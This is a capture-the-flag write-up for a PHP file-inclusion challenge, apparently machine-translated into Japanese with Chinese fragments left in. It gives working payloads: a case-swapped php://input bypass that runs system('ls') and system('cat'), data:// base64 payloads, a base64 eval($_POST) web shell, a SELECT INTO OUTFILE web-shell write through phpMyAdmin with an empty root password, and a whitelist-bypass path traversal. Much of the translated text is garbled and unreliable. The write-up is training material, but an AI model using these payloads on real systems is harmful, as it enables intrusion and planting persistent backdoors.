Web_php_include
テストポイント:PHP コードを監査する基本的な機能と
ナレッジポイントをバイパスする
機能を
テストします。1. 2つの関数①str_replace( "php://"、 ""、$ page);置換関数
②strstr($ page、 "php://")検索関数。つまり、
php:// input関数アプリケーションをバイパスして(文字列の最初の出現位置を出力します(大文字と小文字は区別されます)、リクエストを受信します)データの取得または投稿)
2. データプロトコルの使用
法3.データベースの書き込み方法
トピック:
方法1:
strstr()の機密サイズを使用して
コードをバイパスする
//get中
http://220.249.52.133:32881/?page=PHP://input
//post请求中## 标题
<?php system("ls"); ?>
<?php system("cat 路径的文件名"); ?>//即利用cat命令获取
方法2:
コマンドを実行し、
使用方法をバイパスするために使用するdata://疑似プロトコル:data:// text / plain; base64、xxxx(base64エンコードされたデータ)
など
<?php system("dir")?> base64编码后使用进行
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b (注意编码后的+号要URL编码)
方法3:
data:// Pseudo-protocol送信トロイの木馬
<?php eval($_POST[xiaohua]); ?> base64加密后拼接
http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==
//菜刀连接即可
方法4:
データベースに書き込み、データベースを使用する
//御剑扫描获得phpmyadmin root 密码空 进入
//数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据 如果是null不能写
SHOW VARIABLES LIKE "secure_file_priv"
linux默认tmp是可写目录 试试写入一句话马 菜刀连接
SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'
アイデア:①コード監査で置換を
バイパスします。つまり、データを読み取るコマンドです。②PHPコマンドを使用して、ポストのステートメントを実行し、フラグをバーストします。
準備し始める
テストサイト:
- PHPコードの監査と構築の機能をテストする
- PHPパスアクセスの機能をテストする
- パラメータとURLの共通シンボルの理解
知識ポイント:
1. #includeファイルには、脆弱性使用クラスの定義が含まれています
機能:指定されたファイルを含めて実行します
操作方法:最初にパラメータパスに従って検索し、そうでない場合は、パス
ファイルを順に削除しますパラメータはfile = path in #include;として定義されます(そして、php:// inputを使用してファイルを開くこともできます)
2.関数
①in_array($ page、$ whitelist)は、ホワイトリストにページパラメータがあるかどうかです
②mb_substr()機能理解
mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//即参数从0开始返回mb_strpos这么多的字节
③mb_strpos():検索対象の文字列が最初に出現する位置を別の文字列で返します(つまり、返された位置、strstrは値と時間からの値を返します)
<?php
$str = 'http://www.feiniaomy.com';
echo mb_strpos($str,'niao');
?>
//输出结果:14;
④パラメータの理解
例:?file = source.php?(payload)//つまり、パラメータ$ pageは実際にはsource.php?
質問:
コードを監査した後、ページのパラメーター構造がページのパラメーター構造に存在する場合にのみ検出されますP A G E のパラメータ数の構造が構築され記憶されている中にホワイトリスト配列の存在、それはそうでなければ、すべてのflaseは、真を返す
構成された第二の機構を用いて決定することができるページ=源。PHPのか、それともページ= source.php枚またはP のG E=S O U R&LT C E 。P H P ?またはによるページ= hint.php
次に、#includeの実際の実行メソッドを使用してパスを構築します
か?file = source.php?/…/…/…/…/…/…/ ffffllllaaaaggggは
正常にフラグを取得しました